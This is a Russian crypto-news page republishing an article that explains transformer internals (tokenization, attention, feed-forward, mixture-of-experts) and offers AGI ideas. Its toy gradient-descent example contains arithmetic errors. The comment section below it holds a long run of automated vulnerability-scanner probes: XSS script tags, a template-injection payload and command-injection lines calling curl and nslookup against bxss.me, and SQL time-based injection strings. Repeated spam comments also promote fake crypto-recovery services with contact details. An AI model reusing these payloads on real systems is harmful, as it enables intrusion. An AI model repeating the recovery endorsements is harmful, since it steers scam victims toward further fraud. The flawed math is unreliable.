Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

AGI: от идеи к реализации, часть 3: архитектура трансформер и идеи для улучшения

🧩 Общая схема работы трансформера

Для понимания структуры и процессов в AGI системе, давайте рассмотрим решения на текущий момент: LLM - большая языковая модель, архитектура трансформер.

Трансформер представляет собой преобразователь текста: входной текст преобразуется в наиболее вероятный токен (часть слова) предсказанный моделью.

Информация основана на подробном разборе кода трансформера GPT2 и DeepSeekV3.

Разбор кода GPT-2. Код: https://github.com/openai/gpt-2/tree/master/src
Разбор кода GPT-2. Код: https://github.com/openai/gpt-2/tree/master/src
Разбор кода DeepSeek V3. Код: https://github.com/deepseek-ai/DeepSeek-V3/tree/main/inference
Разбор кода DeepSeek V3. Код: https://github.com/deepseek-ai/DeepSeek-V3/tree/main/inference

Подробная формула:

Input - вход или промпт.

Input → Tokens = Tokenize(Input)

Output = P(tokens) = Attention(Tokens) + FeedForward(Tokens)

Attention и FFN в коде GPT-2
Attention и FFN в коде GPT-2

Здесь мы видим что преобразование задается функцией! Т.е оно линейно. Наиболее вероятный токен затем выбирается с помощью случайного значения если задана температура. Т.е здесь случайность влияет в конце и только на выбор токена. Поэтому температура при больших значениях может иметь непредсказуемый результат. Внутри функции Attention: есть матрицы Wq, Wk, Wv и FeedForward: Wa, Wb которые подбираются таким образом чтобы ошибка предсказанного значения имела минимальное значение. Тут мы подходим к задаче минимизации ошибки предсказания модели.

🧮 Минимизация ошибки через градиент функции, TensorFlow

Давайте посмотрим еще раз на формулу предсказания:

Output = P(tokens) = Attention(Tokens) + FeedForward(Tokens)

Мы видим что преобразование задается математической функцией и задача в том, чтобы найти такие значения матриц чтобы результирующая функция потерь LOSS имела меньшее значение чем текущее. Как же это делается? Это называется backpropagation и вычисляется через градиент функции. Для этого все слои Attention, FeedForward представляются в виде вычислительного графа который называется TensorFlow.

Вершины графа это операции, ребра это входные значения. Каждой вершине соответствует некоторая функция. Для примера рассмотрим такую функцию:

Floss = x²

x = 2 · y

Нужно найти такие значения (x, y) чтобы функция уменьшилась. Здесь (x, y) представляет собой входной вектор. Как это сделать? Решение такое: находится производная функции Floss по всем переменным. Что такое производная? Это значение которое показывает скорость изменения функции. Если вычислить его к каждой переменной получим вектор который показывает в какую сторону растет функция (скорость) или нормаль к функции. Таким образом мы можем посчитать вектор изменения функции и двигаться в обратном направлении по этому вектору. Для этого просто отнимаем вектор производных от всех матриц. И получаем лучшее значение Floss.

Формула:

W_new = W_old – η · ∂LOSS/∂W

Здесь n задает скорость оптимизации функции.

Теперь остается посчитать производную, но как это сделать если имеем вычислительный граф тензоров? На примере считается так путем математического тождества:

d(Floss) / dy = d(Floss) / dy * (dy / dx),... и аналогично по любому количеству переменных. Т.е мы считаем производные по всем узлам и затем перемножаем их.

Например входной вектор (x, y) имеет значения (1, 1), т.е (x, y) = (1, 1)

Далее:

d(Floss)/dx = 2 * x (математическое правило вычисления производных)

dx/dy = 2 (математическое правило вычисления производных)

Получаем d(Floss)/dy = 2 x = 2 (2 y) = 4 y

Если подставить значения x и y получаем вектор или нормаль движения функции:

(d(Floss)/dx, d(Floss)/dy) = (2 1 = 2, 4 1 = 4) = (2, 4)

Допустим n = 1

Отнимаем: (1, 1) - (2 1, 4 1) = (1 - 2 = -1, 1 - 4 = -3)

Предыдущее значение Floss - 2, новое значение: 2 * (-3) = -6.

Таким образом считается и оптимизируется весь блок в GPT трансформере.

🧩 Принципы работы Tokenize, Attention, FeedForward

🔍 Tokenize

Задан входной текст, например: “Привет GPT!”. Модель не может обработать строковый текст сразу, модель понимает только числа. Как нам преобразовать текст в числа? Да необходимо разделить текст на части и каждой части дать числовое соответствие. Такое число называется токеном (лексемой).Таким образом мы делим текст на слова:

Tokenize1(“Привет GPT!”) = [“Привет”, “ ”, “GPT”, “!”].

Теперь нам нужно преобразовать эти токены в числа. Но здесь мы имеем проблему. Нам придется создать такой словарь в котором будут все слова языка чтобы каждому слову пунктуации числу и т.д дать числовое значение. Но если это сделать словарь получится очень большим. Как решить проблему? Для решения на примере GPT2 токены дополнительно разделяются на части, например:

Tokenize2(“Привет GPT!”) = [“При”, “вет”, “ ”, “GPT”, “!”], т.е на кусочки от слов. А таких кусочков не очень много и их можно хранить в словаре. Получается такой словарь (пример):

…

При - 34,

…

вет - 56

…

GPT - 102

…

! - 1004

Получаем:

Tokenize3(“Привет GPT!”) = [34, 56, 102]

Теперь имеем задачу как эффективно разделить текст на кусочки? На пример GPT2 можно увидеть что делается это через биграммы. Биграмма это пара показывающая соотвествие между буквами в слове. Например:

(“П”, “р”)

(“Пр”, “и”)

…

(“ве”, “т”).

Этот список биграмм считается по обучаемому тексту (назовем DATA) который имеет большой размер - гигабайты текста. Находятся наиболее вероятные пары встречаемые в тексте.

Далее на примере слова “Привет” делим слово на буквы и строим биграммы:

[(“П”, “р”), (“р”, “и”), (“и”, “в”), (“в”, “е”), (“е”, “т”)] - здесь пары строятся по принципу левая часть первой биграммы равно правой части второй. И по таблице биграмм объединяем буквы находим совпадение по биграмме (“П”, “р”) и далее объединяем по биграмме:

TokenizeBigram([(“П”, “р”), (“р”, “и”), (“и”, “в”), (“в”, “е”), (“е”, “т”)]) =([(“Пр”), (“р”, “и”), (“и”, “в”), (“в”, “е”), (“е”, “т”)])

Далее по биграмме (“Пр”, “и”):

TokenizeBigram([(“Пр”), (“р”, “и”), (“и”, “в”), (“в”, “е”), (“е”, “т”)]) = [(“При”), (“и”, “в”), (“в”, “е”), (“е”, “т”)]

Итак получается функция:

Tokenize(“Привет GPT!”) = [34, 56, 102]=Tokens

Алгоритм биграмм в коде GPT-2
Алгоритм биграмм в коде GPT-2

🔍 Tokenize → Embedding

У нас получилась последовательность чисел. Но как же модель трансформера понимает смысл из этих чисел?

Для этого данные числа или слова-токены преобразуются в векторы которые задаются моделью в процессе обучения для каждого токена как словарь token[i] -> embedding[i]. Что такое векторы? Векторы показывают различные мерности(признаки) объекта т.е слова имеющего смысл. Например имеем слово кошка Cat. Кошка имеет характеристики и интерпретируются они как атрибуты класса пример на c#:

class Cat

{

public int Mass { get; set; }

public int Color { get; set; }

…

}

Каждый атрибут или характеристика это размерность класса: т.е кошка может иметь массу, цвет: белый, зеленый, красный и т.д. И все это кодируется числами. Но нам не нужно определять эти характеристики вручную. Красота нейронных моделей в том что они сами учатся как это делать. Итак слово преобразуется в большой список характеристик которые называются features (возможности).

Например: “При” => 34 => [35, 67, 32, 78 … ] 1024, 4098… чисел! Это огромное количество атрибутов по которых характеризуются слова-токены. И модель сама учится строить характеристики обучившись на DATA, путем уменьшения функции Floss. В самом векторе закодированы не конкретно атрибуты как в классе, но различные паттерны классификаторы или их части, так как модель не умеет классифицировать формально как человек делает она это примерно чтобы соответствовать всей функции Floss(DATA). Вектор для токена называется embedding.

Для примера примем что длина вектора признаков 2 (в реальности длина 1024 или более!).

Имеем такую функцию:

Embedding(Tokens) = [ [1, 2], [3, 4], [4, 8] ] = Vectors

Таким образом мы можем входной текст преобразовывать в векторы отражающие смысл этого текста или классификаторы токенов. Здесь становится очевидно что чем длиннее вектор тем по большим характеристикам модель будет классифицировать слова и тем точнее будет учитывать смысл.

Преобразование в векторы смысла (эмбеддинги) в GPT-2
Преобразование в векторы смысла (эмбеддинги) в GPT-2
Преобразование в векторы смысла (эмбеддинги) в DeepSeek3. У него реализовано через библиотеку Torch
Преобразование в векторы смысла (эмбеддинги) в DeepSeek3. У него реализовано через библиотеку Torch

🔍 Tokenize → Embedding → PositionalEmbedding

После получения векторов смысла (эмбеддингов) необходимо в модели как то закодировать на каком месте находится вектор токена поскольку модель не умеет это различать. Для этого используется позиционный эмбеддинг: PositionalEmbedding.

Он вычисляет позиционные векторы и складывает их с векторами (GPT2). Также может выполняться вращение векторов по ним (DeepSeekV3).

Непростое вычисление вращения векторов для позиционного эмбеддинга в DeepSeekV3
Непростое вычисление вращения векторов для позиционного эмбеддинга в DeepSeekV3

💡 Внимание (Attention)

Теперь разберем как работает функция Attention.

Формула:

Attention = softmax( (Wq · Wkᵀ) / sqrt(d) ) · Wv

Вот так реализование внимание в GPT-2
Вот так реализование внимание в GPT-2
А вот так в DeepSeekV3. Сложно правда? Тут QLora, а einsum перемножение матриц
А вот так в DeepSeekV3. Сложно правда? Тут QLora, а einsum перемножение матриц

Что такое Q, K, V?

Это концепты-векторы которые работают в пространстве внимания, Q - вектор поиска, K - вектор ключа, V - вектор преобразования или важности. Разложены они в матрице по токенам которая спроецирована на пространство большей мощности. Что такое пространство внимания? Логически это так выходные векторы лежат в пространстве смысла, мы их преобразуем (проецируем) в пространство внимания и считаем по ним очки внимания.

Чтобы спроецировать вектор Vector на пространство внимания он умножается на матрицу W. Которая дает правило проекции каким образом вектор проецируется на вектор внимания. В пространстве внимания существует 3 вектора: Q, K, V. Матрица W имеет большую мерность чем матрица вектора, чтобы преобразование сделать в большем пространстве чем вектор. Логически пространство смысла расширяется до большего пространства и там строится внимание. Внимание показывает по всем токенам насколько сам токен уделяет внимание к другим токенам, т.е насколько токену Token(i) интересно Token(j). В пространстве внимания Q представляет собой такую характеристику: какую свою цель имеет токен? представляется она вектором цели. K представляет собой целевой вектор что токен может дать другим токенам? Т.е по каждым парам токенов вычисляются векторы целей:

Vq, Vk. И далее считается их скалярное произведение. Оно показывает сонаправленность векторов. Т.е если Vq, Vk со-направленны, они имеют общую цель (угол ближе к 0). А это значит что они представляют повышенный интерес (друг к другу).

В формуле Wq * (Wk^T) означает вычисление dot product по матрице: матрица Q умножается на транспонированную матрицу K, которые содержат данные вычисленные цели векторов по токенам. Результат делится на SQRT(d) это просто оптимизационный параметр (в модели много таких для стабилизации вектора производных). После умножения мы получаем матрицу скоров внимания например на слове [“При”, “вет”]:

[ 0, 0.8,

0.2, 0 ]

Вот так это делается в GPT-2
Вот так это делается в GPT-2

Т.е

“При” к “При” внимания 0,

“При” к “вет” внимания 0.8,

“вет” к “При” внимания 0.2.

Но здесь если посмотреть есть внимания в которых предыдущий токен имеет внимание в будущему. Т.е прошлое смотрит на будущее. Но чтобы делать прогноз модель не должна знать будущее иначе она будет просто извлекать из будущего не делая прогноза! Чтобы этого избежать мы делаем матрицу треугольной т.е будущие внимания (те которые выше диагонали (сверху-вниз) матрицы обнуляем):

[ 0, 0,

0.2, 0 ]

Вот проекции между пространствами о которых я говорил в GPT-2. Модель сама учится делать их.
Вот проекции между пространствами о которых я говорил в GPT-2. Модель сама учится делать их.

Далее данная матрица проходит через функцию softmax. Эта функция превращает скоры внимания в вероятности усиливая различия в значениях т.е получаются более сильные различия как в усилителе сигнала.

softmax(Wattention)=Wp

Затем мы умножаем данную матрицу на матрицу Wv:

Wa = Wp * Wv.

Это дает средневзвешенную матрицу т.е векторы по токенам учитывающие внимание друг к другу. Внимание показывает различные паттерны в языке в лексике синтаксисе семантике самого языка и дает направление по таким целям.

Далее так как результат Wa представлен в пространстве внимания мы должны спроецировать векторы внимания обратно в пространство смыслов. Это делает модель которая учится это делать на DATA.

Получаем вектор [Vectors<attention>].

Теперь как нам к нашим векторам смысла [Vectors] сделать так чтобы они учитывали внимание? Делается это через сложение векторов:

[Vectors2] = [Vectors] + [Vectors<attention>]

В нашем примере пусть attention:

[ [0.1, 0.2],

[0.3, 0.4],

[0.4, 0.6] ] (здесь просто пример)

[ [1, 2],

[3, 4], + attention

[4, 8] ]

Получаем: [ [1.1, 2.2], [3.3, 4.4], [4.4, 8.6] ].

Адаптация Low‑Rank (LoRA):

При вычислениях матрица Wq может быть представлена двумя матрицами: Wq = Wa * Wb^T. Это называется LoRA или Low Rank Adaptation. Зачем это нужно?

Например матрица Wq имеет размерность [4098, 4098] т.е 4098 * 4098 значение а это около 16млн! Обучение такого количества параметров ресурсозатратно. Для этого матрица Wq раскладывается на две низкоразмерные матрицы Wr. Например если ранг 16 то получается:

Wa: [4098, 16]

Wb: [16, 4098]

И умножение их дает матрицу Wq! Но в обоих матрицах мы имеем количество параметров: 4098 16 + 16 4098 т.е гораздо меньше. Через это делается fine tuning модели. Fine tuning применяется к attention но может применяться и к feed forward.

Fine tune перестраивает только малую часть модели и при обучении при малом или некачественном количестве примеров перестраивает модель так что цели в модели стремятся только к этим примерам и другие она забывает на которых обучалась.

Заметки по Attention слою

Какие есть проблемы с механизмом определения целей внимания:

Проблема общая, внимание работает только на знаниях и паттернах на которых она обучена. Если что то новое например из предметной области которой не было в примерах (так как данные конфиденциальные) модель не станет обращать внимания на них. Поэтому мы вынуждены тренировать модели на предметных областях что отдаляет от AGI. Здесь решением для AGI я вижу примерно так: нужно считать не только цели внимания но и общую цель без учета внимания, а далее берем векторы как центр масс по ним. Attention = Factor * Mass(Wq,k,v) + Attention(Q, K, V). Тогда модель будет иметь внимание к тем областям текста где не было еще обучения. Результат пока неизвестен требуются эксперименты.

⚙️ Feed‑Forward (FFN) и Mixture‑of‑Experts

Разберем как работает слой FeedForward.

Модель аналогично как с вниманием преобразует пространство векторов смысла на пространство паттернов. Что представляет собой пространство паттернов?

Это матрица которая учитывает все паттерны и закономерности при обучении на DATA. Векторы умножаясь на эту матрицу получают представление насколько они релевантны к общим паттернам в общих целях DATA. Модель считает определенный паттерн например наиболее встречаемый цвет кошки это белый и черный цвет а не голубой. И вектору цели для паттерна кошка белая и черная ставит большой вес. А вектору цели кошка голубая очень малый отрицательный вес. У нас получается проблема очень отрицательные и положительные веса. Для решения используется функция активации например GELU (GPT2), SILU (DeepSeekV3).

Вот этот кусочек и есть весь FFN в GPT-2. Видите там тоже проекции пространств - conv1d('c_fc'->'c_proj')
Вот этот кусочек и есть весь FFN в GPT-2. Видите там тоже проекции пространств - conv1d('c_fc'->'c_proj')
А тут класс для DeepSeekV3.
А тут класс для DeepSeekV3.

Формула:

Wffn = GELU([Vectors] * W<patterns space>).

Как видим это тоже линейная функция.

В DeepSeek помимо простой FFN определяющей паттерны используется MOE mixture of experts. Что это такое? Вход векторов пространства паттернов проходит через Gate который классифицирует паттерны на большие группы: например математика, программирование и т.д. Считаются очки по экспертам и наиболее релевантные работают со входом. Сам эксперт это такой же Wffn. Это решает проблему GPT2: так как модель делает маленькие шаги по каждому токену она оперирует только малыми целями в промпте большие цели (глобальные) она не учитывает. Архитектура MOE делит цели на специализации и решает проблему локальных целей. Но тем не менее проблема остается внутри самой специализации. Например в программировании модель также учитывает малые цели и не учитывает глобальные. Для решения проблемы в AGI должен быть более сложный механизм целеполагания для этого нужно применять не одно пространство проекции например только паттерны как случае с LLM, но и другие например сложная семантика, эмоциональное пространство, казуальное пространство и т.д.

А эта штука в DeepSeekV3 поумнее: она роутит между простым FFN и экспертом
А эта штука в DeepSeekV3 поумнее: она роутит между простым FFN и экспертом

Затем мы опять складываем выход с [Vectors]: [Vectors] + [Vectors<attention>] + [Vectors<ffn>]

Что мы имеем? Мы имеем сами эмбеддинги векторы [Vectors] которые отражают семантику смысла текста в векторах. Мы имеем векторы семантики текста которые отклонены по целям attention и ffn. Теперь как посчитать вероятности для всех токенов?

Для этого мы считаем dot product т.е угол отклонения между векторами с учетом attention и ffn c оригинальными векторами embedding. Это дает отклонения которые называются логиты. Т.е это скоры или градусы насколько векторы по каждому токену отклоняются от общей цели полученной путем предсказания на обучении массива DATA.

А далее по логитам мы определяем вероятный токен.

🚧 Итоги

LLM это хорошая модель но она имеет проблемы:

  • она учитывает внимание внутри текста и общие паттерны в модели мира, но ограничена лишь этим, поэтому мы используем fine tune, а это не AGI.

  • она двигается только к маленьким целям и не учитывает глобальные это также отдаляет от AGI

  • Модель является просто функцией оптимизированной на потере ошибок при обучении на DATA. Она не является сетью нейронов как в мозге человека. Это лишь приближенная модель. Модель не имеет стохастического фактора сама архитектура производных не даст этого сделать.

💡 Идеи для AGI-архитектуры

  • В attention представлен механизм чтобы модель учитывала не только по вниманию

  • В ffn необходимо внедрить другие пространства чтобы модель смогла учитывать те аспекты которые относятся не только к паттернам

  • В AGI должен быть фактор случайности не так как он сделан как температура по логитам а напрямую внутри attention и ffn слоев.

P.S.: Если вам интересен данный разбор, могу также разобрать код модели Grok1.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

